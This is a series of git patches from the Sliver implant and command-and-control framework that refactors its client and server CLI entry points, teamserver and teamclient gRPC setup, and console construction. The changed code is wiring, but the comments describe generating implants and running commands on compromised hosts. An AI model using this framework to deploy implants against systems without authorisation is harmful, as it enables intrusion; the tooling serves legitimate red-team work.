c.NewlineBefore { - fmt.Println() - } - - // Run user-provided pre-run line hooks, - // which may modify the input line args. - args, err := c.runLineHooks(os.Args) - if err != nil { - return fmt.Errorf("Line error: %s\n", err.Error()) - } - - // Run all pre-run hooks and the command itself - // Don't check the error: if its a cobra error, - // the library user is responsible for setting - // the cobra behavior. - // If it's an interrupt, we take care of it. - return c.execute(menu, args, false) -} - // RunCommand is a convenience function to run a command in a given menu. // After running, the menu commands are reset, and the prompts reloaded. func (m *Menu) RunCommand(line string) (err error) { @@ -174,12 +135,13 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) if c.isFiltered(target) { - return nil + return } // Console-wide pre-run hooks, cannot. if err = c.runPreRunHooks(); err != nil { - return fmt.Errorf("pre-run error: %s", err.Error()) + fmt.Printf("Pre-run error: %s\n", err.Error()) + return } // Assign those arguments to our parser. diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/tab-completer.go index 0d7992dc91..2da490bb65 100644 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ b/vendor/github.com/reeflective/console/tab-completer.go @@ -114,7 +114,7 @@ func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { // Regenerate commands and apply any filters. func (c *Console) completeCommands(menu *Menu) func() { commands := func() { - menu.ResetCommands() + menu.resetCommands() c.hideFilteredCommands() } diff --git a/vendor/modules.txt b/vendor/modules.txt index 530fae1ca6..b74b65565f 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -515,7 +515,7 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.6 => /home/user/code/github.com/reeflective/console +# github.com/reeflective/console v0.1.6 ## explicit; go 1.20 github.com/reeflective/console github.com/reeflective/console/commands/readline From f3e02c040f4a2efd6aa92c4c7c49a34494a5a93f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 21 Jul 2023 18:42:53 +0200 Subject: [PATCH 013/124] Comment server-binary entry and refactor other entries --- client/cli/cli.go | 22 +-- client/command/console/console.go | 2 +- client/command/server.go | 15 +- server/cli/cli.go | 241 ++++++++++++------------------ 4 files changed, 111 insertions(+), 169 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index d3f9299685..28ecb4c727 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -24,6 +24,7 @@ import ( "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" + "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -32,31 +33,34 @@ import ( func Execute() { con := newSliverTeam() - serverCmds := command.ServerCommands(con, nil)() - serverCmds.Use = "sliver-client" - - // Version - serverCmds.AddCommand(cmdVersion) - preRun := func(_ *cobra.Command, _ []string) error { return con.Teamclient.Connect() } - serverCmds.PersistentPreRunE = preRun - postRun := func(_ *cobra.Command, _ []string) error { return con.Teamclient.Disconnect() } // serverCmds.PersistentPostRunE = postRun + teamclientCmds := func() *cobra.Command { + return commands.Generate(con.Teamclient) + } // Client console. // All commands and RPC connection are generated WITHIN the command RunE(): // that means there should be no redundant command tree/RPC connections with // other command trees below, such as the implant one. - consoleServerCmds := command.ServerCommands(con, nil) + consoleServerCmds := command.ServerCommands(con, teamclientCmds) consoleSliverCmds := command.SliverCommands(con) + serverCmds := command.ServerCommands(con, teamclientCmds)() + serverCmds.Use = "sliver-client" + + // Version + serverCmds.AddCommand(cmdVersion) + + serverCmds.PersistentPreRunE = preRun + serverCmds.AddCommand(consoleCmd.Command(con, consoleServerCmds, consoleSliverCmds)) // Implant. diff --git a/client/command/console/console.go b/client/command/console/console.go index 5a38decd79..09ee56e1c2 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -32,7 +32,7 @@ func Command(con *client.SliverClient, serverCmds, sliverCmds console.Commands) RunE: func(cmd *cobra.Command, args []string) error { con.IsCLI = false - // Bind commands to the app + // Bind commands to the closed-loop console. server := con.App.Menu(consts.ServerMenu) server.SetCommands(serverCmds) diff --git a/client/command/server.go b/client/command/server.go index 819eed345e..fc391548ad 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -41,6 +41,7 @@ import ( "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/command/settings" sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai" + // "github.com/bishopfox/sliver/client/command/taskmany". "github.com/bishopfox/sliver/client/command/update" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/websites" @@ -48,15 +49,12 @@ import ( client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" - teamclientCmds "github.com/reeflective/team/client/commands" - "github.com/reeflective/team/server" - teamserverCmds "github.com/reeflective/team/server/commands" "github.com/spf13/cobra" ) // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverClient, serv *server.Server) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds console.Commands) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ Short: "Server commands", @@ -65,14 +63,9 @@ func ServerCommands(con *client.SliverClient, serv *server.Server) console.Comma }, } - if serv != nil { + if serverCmds != nil { server.AddGroup(&cobra.Group{ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}) - teamserverCmds := teamserverCmds.Generate(serv, con.Teamclient) - server.AddCommand(teamserverCmds) - } else { - server.AddGroup(&cobra.Group{ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}) - teamclientCmds := teamclientCmds.Generate(con.Teamclient) - server.AddCommand(teamclientCmds) + server.AddCommand(serverCmds()) } // [ Bind commands ] -------------------------------------------------------- diff --git a/server/cli/cli.go b/server/cli/cli.go index 7dc51ac23b..71d4424864 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -22,10 +22,14 @@ import ( "fmt" "os" + "github.com/reeflective/console" + "github.com/reeflective/team/server" + "github.com/reeflective/team/server/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command" + client "github.com/bishopfox/sliver/client/console" assetsCmds "github.com/bishopfox/sliver/server/command/assets" builderCmds "github.com/bishopfox/sliver/server/command/builder" certsCmds "github.com/bishopfox/sliver/server/command/certs" @@ -38,31 +42,98 @@ import ( "github.com/bishopfox/sliver/server/cryptography" ) -const ( +// Execute the sliver server binary. +func Execute() { + // Create a self-serving teamserver: + // This teamserver creates an in-memory -gRPC-transported- teamclient + // (which is not yet connected). The server is also able to serve remote + // clients, although no persistent/network listeners are started by default. + // + // This teamclient is used to create a Sliver Client, which functioning + // is agnostic to its execution mode (one-exec CLI, or closed-loop console). + // The client has no commands available yet. + teamserver, con := newSliverTeam() - // Unpack flags - forceFlagStr = "force" + // Prepare the entire Sliver Command-line Interface as yielder functions: + // - Server commands are all commands which don't need an active Sliver implant. + // These commands include a server-binary-specific set of "teamserver" commands. + // - Sliver commands are all commands requiring an active target. + serverCmds, sliverCmds := getSliverCommands(teamserver, con) + + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and are equiped with + // a pre-runner ensuring the server and its teamclient are set up and connected. + rootCmd := serverCmds() + rootCmd.Use = "sliver-server" + rootCmd.PersistentPreRunE = preRunServer(teamserver, con) + + // Bind additional commands peculiar to the one-exec CLI. + // NOTE: Down the road these commands should probably stripped of their + // os.Exit() calls and adapted so that they can be used in the console too. + rootCmd.AddCommand(versionCmd) + rootCmd.AddCommand(assetsCmds.Commands()...) + rootCmd.AddCommand(builderCmds.Commands()...) + rootCmd.AddCommand(certsCmds.Commands()...) + + // Bind the closed-loop console: + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + rootCmd.AddCommand(consoleCmd.Command(con, serverCmds, sliverCmds)) + + // Completion setup: + // Following the same logic as the console command, we only generate and setup + // completions in our root command tree instance. This setup is not needed in + // the command yielder functions themselves, because the closed-loop console + // takes care of its own completion/API interfacing. + comps := carapace.Gen(rootCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + rootCmd.PersistentPreRunE(cmd, args) + }) + comps.PostRun(func(cmd *cobra.Command, args []string) { + con.Teamclient.Disconnect() + }) - // Operator flags - nameFlagStr = "name" - lhostFlagStr = "lhost" - lportFlagStr = "lport" - saveFlagStr = "save" + // Run the target Sliver command: + // Three different examples here, to illustrate. + // + // - `sliver generate --os linux` starts the server, ensuring assets are unpacked, etc. + // Once ready, the generate command is executed (from the client, passed to the server + // via the in-memory RPC, and executed, compiled, then returned to the client). + // When the binary exits, an implant is compiled and available client-side (locally here). + // + // - `sliver console` starts the console, and everything works like it ever did. + // On top of that, you can access and use the entire `teamserver` control commands to + // start/close/delete client listeners, create/delete users, manage CAs, show status, etc. + // + // - `sliver teamserver serve` is a teamserver-tree specific command, and the teamserver + // set above in the init() code has been given a single hook to register its RPC backend. + // The call blocks like your old daemon command, and works _just the same_. + if err := rootCmd.Execute(); err != nil { + fmt.Println(err) + os.Exit(1) + } +} - // Cert flags - caTypeFlagStr = "type" - loadFlagStr = "load" -) +// getSliverCommands wraps the `teamserver` specific commands in a command yielder function, passes those +// server-binary only commands to the main Sliver command yielders, and returns the full, execution-mode +// agnostic Command-Line-Interface for the Sliver Framework. +func getSliverCommands(teamserver *server.Server, con *client.SliverClient) (server, sliver console.Commands) { + teamserverCmds := func() *cobra.Command { + return commands.Generate(teamserver, con.Teamclient) + } -// Execute - Execute root command -func Execute() { - // Console interface, started closed-loop or not. - // Teamserver/client API and commands for remote/local CLI. - teamserver, con := newSliverTeam() + serverCmds := command.ServerCommands(con, teamserverCmds) + sliverCmds := command.SliverCommands(con) + + return serverCmds, sliverCmds +} - // Pre-runners to self-connect - preRun := func(cmd *cobra.Command, _ []string) error { - // Ensure the server has what it needs +// preRunServer is the server-binary-specific pre-run; it ensures that the server +// has everything it needs to perform any client-side command/task. +func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *cobra.Command, _ []string) error { + return func(_ *cobra.Command, _ []string) error { + // Ensure the server has what it needs. assets.Setup(false, true) certs.SetupCAs() certs.SetupWGKeys() @@ -73,69 +144,11 @@ func Execute() { serverConfig := configs.GetServerConfig() c2.StartPersistentJobs(serverConfig) - // Let our runtime teamclient be served. - if err := teamserver.Serve(con.Teamclient); err != nil { - return err - } - - return nil - } - - serverCmds := command.ServerCommands(con, teamserver)() - serverCmds.Use = "sliver-server" - - serverCmds.PersistentPreRunE = preRun - - serverCmds.AddCommand(versionCmd) - serverCmds.AddCommand(assetsCmds.Commands()...) - serverCmds.AddCommand(builderCmds.Commands()...) - serverCmds.AddCommand(certsCmds.Commands()...) - - // Console - consoleServerCmds := command.ServerCommands(con, teamserver) - consoleSliverCmds := command.SliverCommands(con) - serverCmds.AddCommand(consoleCmd.Command(con, consoleServerCmds, consoleSliverCmds)) - - // Completions - comps := carapace.Gen(serverCmds) - comps.PreRun(func(cmd *cobra.Command, args []string) { - preRun(cmd, args) - }) - comps.PostRun(func(cmd *cobra.Command, args []string) { - con.Teamclient.Disconnect() - }) - - if err := serverCmds.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) + // Let our in-memory teamclient be served. + return teamserver.Serve(con.Teamclient) } } -// func init() { -// // Console interface, started closed-loop or not. -// con := console.NewConsole(false) -// -// // Teamserver/client API and commands for remote/local CLI. -// teamserver, teamclient := newSliverTeam(con) -// // teamserverCmds := commands.Generate(teamserver, teamclient) -// -// con.Teamclient = teamclient -// -// // Bind commands to the app -// server := con.App.Menu(consts.ServerMenu) -// server.SetCommands(command.ServerCommands(con, teamserver)) -// -// serverCmds := command.ServerCommands(con, teamserver)() -// -// // server.Reset() -// // sliver := con.App.Menu(consts.ImplantMenu) -// // sliver.SetCommands(command.SliverCommands(con)) -// // rootCmd = server.Command -// // rootCmd.Use = "sliver-server" -// -// // rootCmd.AddCommand(teamserverCmds) -// -// // Pre-runners to self-connect // preRun := func(cmd *cobra.Command, _ []string) error { // // Ensure the server has what it needs // assets.Setup(false, true) @@ -164,71 +177,3 @@ func Execute() { // console.StartClient(con, nil, nil) // return nil // } -// // return nil -// -// serverCmds.PersistentPreRunE = preRun -// -// serverCmds.AddCommand(consoleCmd(con)) -// -// // Unpack -// unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") -// serverCmds.AddCommand(unpackCmd) -// -// // Certs -// cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") -// cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) -// serverCmds.AddCommand(cmdExportCA) -// -// cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") -// cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) -// serverCmds.AddCommand(cmdImportCA) -// -// // Builder -// // rootCmd.AddCommand(initBuilderCmd()) -// -// // Version -// // rootCmd.AddCommand(versionCmd) -// -// // Completions -// comps := carapace.Gen(serverCmds) -// comps.PreRun(func(cmd *cobra.Command, args []string) { -// preRun(cmd, args) -// }) -// } - -// var rootCmd = &cobra.Command{ -// Use: "sliver-server", -// Short: "", -// Long: ``, -// Run: func(cmd *cobra.Command, args []string) { -// // Root command starts the server normally -// -// appDir := assets.GetRootAppDir() -// logFile := initConsoleLogging(appDir) -// defer logFile.Close() -// -// defer func() { -// if r := recover(); r != nil { -// log.Printf("panic:\n%s", debug.Stack()) -// fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) -// os.Exit(99) -// } -// }() -// -// assets.Setup(false, true) -// certs.SetupCAs() -// certs.SetupWGKeys() -// cryptography.AgeServerKeyPair() -// cryptography.MinisignServerPrivateKey() -// -// serverConfig := configs.GetServerConfig() -// c2.StartPersistentJobs(serverConfig) -// console.StartPersistentJobs(serverConfig) -// if serverConfig.DaemonMode { -// daemon.Start(daemon.BlankHost, daemon.BlankPort) -// } else { -// os.Args = os.Args[:1] // Hide cli from grumble console -// console.Start() -// } -// }, -// } From 6e6b774d14da2ef60f0b2025e285e132fa12104c Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 21 Jul 2023 22:04:30 +0200 Subject: [PATCH 014/124] Comment client entrypoints, remove useless files --- client/cli/cli.go | 115 +++++++++++++++++++++++++++------------ client/cli/teamclient.go | 40 -------------- server/cli/cli.go | 80 ++++++++++++++++++++++++++- server/cli/teamserver.go | 68 ----------------------- 4 files changed, 159 insertions(+), 144 deletions(-) delete mode 100644 client/cli/teamclient.go delete mode 100644 server/cli/teamserver.go diff --git a/client/cli/cli.go b/client/cli/cli.go index 28ecb4c727..c7e4749283 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -22,65 +22,112 @@ import ( "fmt" "os" + teamclient "github.com/reeflective/team/client" + teamGrpc "github.com/reeflective/team/transports/grpc/client" + "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" + client "github.com/bishopfox/sliver/client/console" + "github.com/reeflective/console" "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) -// Execute - Execute root command. +// Execute - Run the sliver-client binary. func Execute() { - con := newSliverTeam() - - preRun := func(_ *cobra.Command, _ []string) error { - return con.Teamclient.Connect() - } - - postRun := func(_ *cobra.Command, _ []string) error { - return con.Teamclient.Disconnect() - } - - // serverCmds.PersistentPostRunE = postRun - teamclientCmds := func() *cobra.Command { - return commands.Generate(con.Teamclient) - } - - // Client console. - // All commands and RPC connection are generated WITHIN the command RunE(): - // that means there should be no redundant command tree/RPC connections with - // other command trees below, such as the implant one. - consoleServerCmds := command.ServerCommands(con, teamclientCmds) - consoleSliverCmds := command.SliverCommands(con) - - serverCmds := command.ServerCommands(con, teamclientCmds)() - serverCmds.Use = "sliver-client" + // Create a client-only (remote TLS-transported connections) + // Sliver Client, prepared with a working reeflective/teamclient. + // The teamclient automatically handles remote teamserver configuration + // prompting/loading and use, as well as other things. + con := newSliverClient() + + // Prepare the entire Sliver Command-line Interface as yielder functions. + serverCmds, sliverCmds := getSliverCommands(con) + + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and are equiped with + // a pre-runner ensuring the server and its teamclient are set up and connected. + rootCmd := serverCmds() + rootCmd.Use = "sliver-client" // Needed by completion scripts. + rootCmd.PersistentPreRunE = preRunClient(con) + rootCmd.PersistentPostRunE = postRunClient(con) // Version - serverCmds.AddCommand(cmdVersion) - - serverCmds.PersistentPreRunE = preRun + rootCmd.AddCommand(cmdVersion) - serverCmds.AddCommand(consoleCmd.Command(con, consoleServerCmds, consoleSliverCmds)) + // Bind the closed-loop console: + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + rootCmd.AddCommand(consoleCmd.Command(con, serverCmds, sliverCmds)) // Implant. // The implant command allows users to run commands on slivers from their // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. - serverCmds.AddCommand(implantCmd(con)) + rootCmd.AddCommand(implantCmd(con)) // Completions - comps := carapace.Gen(serverCmds) + // Following the same logic as the console command, we only generate + // and setup completions in our root command tree instance. We also + // ensure that we correctly disconnect from the server on each run. + comps := carapace.Gen(rootCmd) comps.PreRun(func(cmd *cobra.Command, args []string) { - preRun(cmd, args) + rootCmd.PersistentPreRunE(cmd, args) }) comps.PostRun(func(cmd *cobra.Command, args []string) { - postRun(cmd, args) + rootCmd.PersistentPostRunE(cmd, args) }) - if err := serverCmds.Execute(); err != nil { + // Run the sliver client binary. + if err := rootCmd.Execute(); err != nil { fmt.Println(err) os.Exit(1) } } + +// newSliverClient creates a new application teamclient. +// From this teamclient, configured to work with TLS connections +// to remote teamservers, generate a new Sliver Client. +func newSliverClient() *client.SliverClient { + gTeamclient := teamGrpc.NewTeamClient() + + con, opts := client.NewSliverClient(gTeamclient) + + teamclient, err := teamclient.New("sliver", gTeamclient, opts...) + if err != nil { + panic(err) + } + + con.Teamclient = teamclient + + return con +} + +// getSliverCommands returns the entire command tree of the Sliver Framework as yielder functions. +func getSliverCommands(con *client.SliverClient) (server, sliver console.Commands) { + teamserverCmds := func() *cobra.Command { + return commands.Generate(con.Teamclient) + } + + serverCmds := command.ServerCommands(con, teamserverCmds) + sliverCmds := command.SliverCommands(con) + + return serverCmds, sliverCmds +} + +// Before running any CLI entry command, require the Sliver client to connect to a teamserver. +func preRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) error { + return func(_ *cobra.Command, _ []string) error { + return con.Teamclient.Connect() + } +} + +// After running any CLI entry command, correctly disconnect from the server. +func postRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) error { + return func(_ *cobra.Command, _ []string) error { + return con.Teamclient.Disconnect() + } +} diff --git a/client/cli/teamclient.go b/client/cli/teamclient.go deleted file mode 100644 index c3cb3c6d86..0000000000 --- a/client/cli/teamclient.go +++ /dev/null @@ -1,40 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "github.com/bishopfox/sliver/client/console" - "github.com/reeflective/team/client" - teamGrpc "github.com/reeflective/team/transports/grpc/client" -) - -func newSliverTeam() *console.SliverClient { - gTeamclient := teamGrpc.NewTeamClient() - - con, opts := console.NewSliverClient(gTeamclient) - - teamclient, err := client.New("sliver", gTeamclient, opts...) - if err != nil { - panic(err) - } - - con.Teamclient = teamclient - - return con -} diff --git a/server/cli/cli.go b/server/cli/cli.go index 71d4424864..eb65445b2c 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -19,9 +19,17 @@ package cli */ import ( + "errors" "fmt" + "log" "os" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/rpc" + teamserver "github.com/reeflective/team/server" + teamGrpc "github.com/reeflective/team/transports/grpc/server" + "google.golang.org/grpc" + "github.com/reeflective/console" "github.com/reeflective/team/server" "github.com/reeflective/team/server/commands" @@ -52,7 +60,7 @@ func Execute() { // This teamclient is used to create a Sliver Client, which functioning // is agnostic to its execution mode (one-exec CLI, or closed-loop console). // The client has no commands available yet. - teamserver, con := newSliverTeam() + teamserver, con := newSliverServer() // Prepare the entire Sliver Command-line Interface as yielder functions: // - Server commands are all commands which don't need an active Sliver implant. @@ -64,7 +72,7 @@ func Execute() { // These are used as the primary, one-exec-only CLI of Sliver, and are equiped with // a pre-runner ensuring the server and its teamclient are set up and connected. rootCmd := serverCmds() - rootCmd.Use = "sliver-server" + rootCmd.Use = "sliver-server" // Needed by completion scripts. rootCmd.PersistentPreRunE = preRunServer(teamserver, con) // Bind additional commands peculiar to the one-exec CLI. @@ -115,6 +123,74 @@ func Execute() { } } +// newSliverServer creates a new application teamserver. +// The gRPC listener is hooked with an in-memory teamclient, and the latter +// is passed to our client console package to create a new SliverClient. +func newSliverServer() (*teamserver.Server, *client.SliverClient) { + // + // 1) Teamserver --------- + // + + // NOTE: Teamserver gRPC stack. + // The teamserver stack is for now contained in a package of the third-party + // module github.com/reeflective/team: + // 1) The listener is pre-set with all gRPC transport,auth and middleware logging. + // 2) This listener could be partially/fully reimplemented within the Sliver repo. + gTeamserver := teamGrpc.NewListener() + + // NOTE: This might not be needed if 2) above is chosen. + // The listener obviously works with gRPC servers, so we need to pass + // a hook for service binding before starting those gRPC HTTP/2 listeners. + gTeamserver.PostServe(func(grpcServer *grpc.Server) error { + if grpcServer == nil { + return errors.New("No gRPC server to use for service") + } + + rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) + + return nil + }) + + // Here is an import step, where we are given a change to setup + // the reeflective/teamserver with everything we want: our own + // database, the application daemon default port, loggers or files, + // directories, and much more. + var serverOpts []teamserver.Options + serverOpts = append(serverOpts, + teamserver.WithDefaultPort(31337), + teamserver.WithListener(gTeamserver), + ) + + // Create the application teamserver. + // Any error is critical, and means we can't work correctly. + teamserver, err := teamserver.New("sliver", serverOpts...) + if err != nil { + log.Fatal(err) + } + + // + // 2) Teamclient --------- + // + + // The gRPC teamserver backend is hooked to produce a single + // in-memory teamclient RPC/dialer backend. Not encrypted. + gTeamclient := teamGrpc.NewClientFrom(gTeamserver) + + // Pass the gRPC teamclient backend to our console package, + // with registers a hook to bind its RPC client and start + // monitoring events/logs/etc when asked to connect. + // + // The options returned are used to dictate to the server + // how it should configure and run its self-teamclient. + sliver, opts := client.NewSliverClient(gTeamclient) + + // And let the server create its own teamclient, + // pass to the Sliver client for normal usage. + sliver.Teamclient = teamserver.Self(opts...) + + return teamserver, sliver +} + // getSliverCommands wraps the `teamserver` specific commands in a command yielder function, passes those // server-binary only commands to the main Sliver command yielders, and returns the full, execution-mode // agnostic Command-Line-Interface for the Sliver Framework. diff --git a/server/cli/teamserver.go b/server/cli/teamserver.go deleted file mode 100644 index 84107e7c81..0000000000 --- a/server/cli/teamserver.go +++ /dev/null @@ -1,68 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "errors" - "log" - - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/rpc" - "github.com/reeflective/team/server" - teamGrpc "github.com/reeflective/team/transports/grpc/server" - "google.golang.org/grpc" -) - -func newSliverTeam() (*server.Server, *console.SliverClient) { - // Teamserver - gTeamserver := teamGrpc.NewListener() - - bindServer := func(grpcServer *grpc.Server) error { - if grpcServer == nil { - return errors.New("No gRPC server to use for service") - } - - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - - return nil - } - - var serverOpts []server.Options - serverOpts = append(serverOpts, - server.WithDefaultPort(31337), - server.WithListener(gTeamserver), - ) - - gTeamserver.PostServe(bindServer) - - teamserver, err := server.New("sliver", serverOpts...) - if err != nil { - log.Fatal(err) - } - - // Teamclient - gTeamclient := teamGrpc.NewClientFrom(gTeamserver) - - sliver, opts := console.NewSliverClient(gTeamclient) - - sliver.Teamclient = teamserver.Self(opts...) - - return teamserver, sliver -} From 1711475db88ef0ca4fe49812b23113a1248688ee Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 22 Jul 2023 06:53:53 +0200 Subject: [PATCH 015/124] Clean client console a bit --- client/console/console.go | 33 ++++++++++++++++++--------------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/client/console/console.go b/client/console/console.go index 4a75915d18..19888b5759 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -109,16 +109,22 @@ type SliverClient struct { Teamclient *client.Client } +// NewSliverClient is the general-purpose Sliver Client constructor. func NewSliverClient(teamclient *teamGrpc.Teamclient) (*SliverClient, []client.Options) { - con := newConsole(false) + // Generate the console client, setting up menus, etc. + con := newConsole() + // The teamclient requires hooks to bind RPC clients around its connection. + // NOTE: this might not be needed either if Sliver uses its own teamclient backend. bindClient := func(clientConn any) error { grpcClient, ok := clientConn.(*grpc.ClientConn) if !ok || grpcClient == nil { return errors.New("No gRPC client to use for service") } - startClient(con, grpcClient) + // Register our core Sliver RPC client, and start monitoring + // events, tunnels, logs, and all. + con.connect(grpcClient) return nil } @@ -134,7 +140,7 @@ func NewSliverClient(teamclient *teamGrpc.Teamclient) (*SliverClient, []client.O // newConsole creates the sliver client (and console), creating menus and prompts. // The returned console does neither have commands nor a working RPC connection yet, // thus has not started monitoring any server events, or started the application. -func newConsole(isServer bool) *SliverClient { +func newConsole() *SliverClient { assets.Setup(false, false) settings, _ := assets.LoadSettings() @@ -147,14 +153,13 @@ func newConsole(isServer bool) *SliverClient { EventListeners: &sync.Map{}, BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, BeaconTaskCallbacksMutex: &sync.Mutex{}, - IsServer: isServer, Settings: settings, IsCLI: true, } - // The active target needs access to the console - // to automatically switch between command menus. - con.ActiveTarget.con = con + con.App.SetPrintLogo(func(_ *console.Console) { + con.PrintLogo() + }) // Readline-shell (edition) settings if settings.VimMode { @@ -179,17 +184,16 @@ func newConsole(isServer bool) *SliverClient { sliver.Prompt().Primary = con.GetPrompt sliver.AddInterrupt(io.EOF, con.exitImplantMenu) // Ctrl-D - con.App.SetPrintLogo(func(_ *console.Console) { - con.PrintLogo() - }) + // The active target needs access to the console + // to automatically switch between command menus. + con.ActiveTarget.con = con return con } -// Init requires a working RPC connection to the sliver server, and 2 different sets of commands. -// If run is true, the console application is started, making this call blocking. Otherwise, commands and -// RPC connection are bound to the console (making the console ready to run), but the console does not start. -func startClient(con *SliverClient, conn *grpc.ClientConn) { +// connect requires a working gRPC connection to the sliver server. +// It starts monitoring events, implant tunnels and client logs streams. +func (con *SliverClient) connect(conn *grpc.ClientConn) { con.Rpc = rpcpb.NewSliverRPCClient(conn) // The console application needs to query the terminal for cursor positions @@ -335,7 +339,6 @@ func (con *SliverClient) startEventLoop() { case consts.BeaconTaskResultEvent: con.triggerBeaconTaskCallback(event.Data) - } con.triggerReactions(event) From 334f8dd7a75775870028b52938bad0aaef16325d Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 22 Jul 2023 23:14:39 +0200 Subject: [PATCH 016/124] Simplify pre-runners binding --- client/cli/cli.go | 25 ++++--------- client/command/server.go | 74 +++++++++++++++++++++++++++++++++++++ client/transport/mtls.go | 10 ++--- server/cli/cli.go | 45 +++++++++++----------- server/cli/version.go | 3 +- server/console/console.go | 4 +- server/encoders/encoders.go | 7 ++-- 7 files changed, 116 insertions(+), 52 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index c7e4749283..cdccc4fdc6 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -22,14 +22,13 @@ import ( "fmt" "os" - teamclient "github.com/reeflective/team/client" - teamGrpc "github.com/reeflective/team/transports/grpc/client" - "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" "github.com/reeflective/console" + teamclient "github.com/reeflective/team/client" "github.com/reeflective/team/client/commands" + teamGrpc "github.com/reeflective/team/transports/grpc/client" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -46,12 +45,10 @@ func Execute() { serverCmds, sliverCmds := getSliverCommands(con) // Generate a single tree instance of server commands: - // These are used as the primary, one-exec-only CLI of Sliver, and are equiped with + // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with // a pre-runner ensuring the server and its teamclient are set up and connected. rootCmd := serverCmds() rootCmd.Use = "sliver-client" // Needed by completion scripts. - rootCmd.PersistentPreRunE = preRunClient(con) - rootCmd.PersistentPostRunE = postRunClient(con) // Version rootCmd.AddCommand(cmdVersion) @@ -69,17 +66,11 @@ func Execute() { 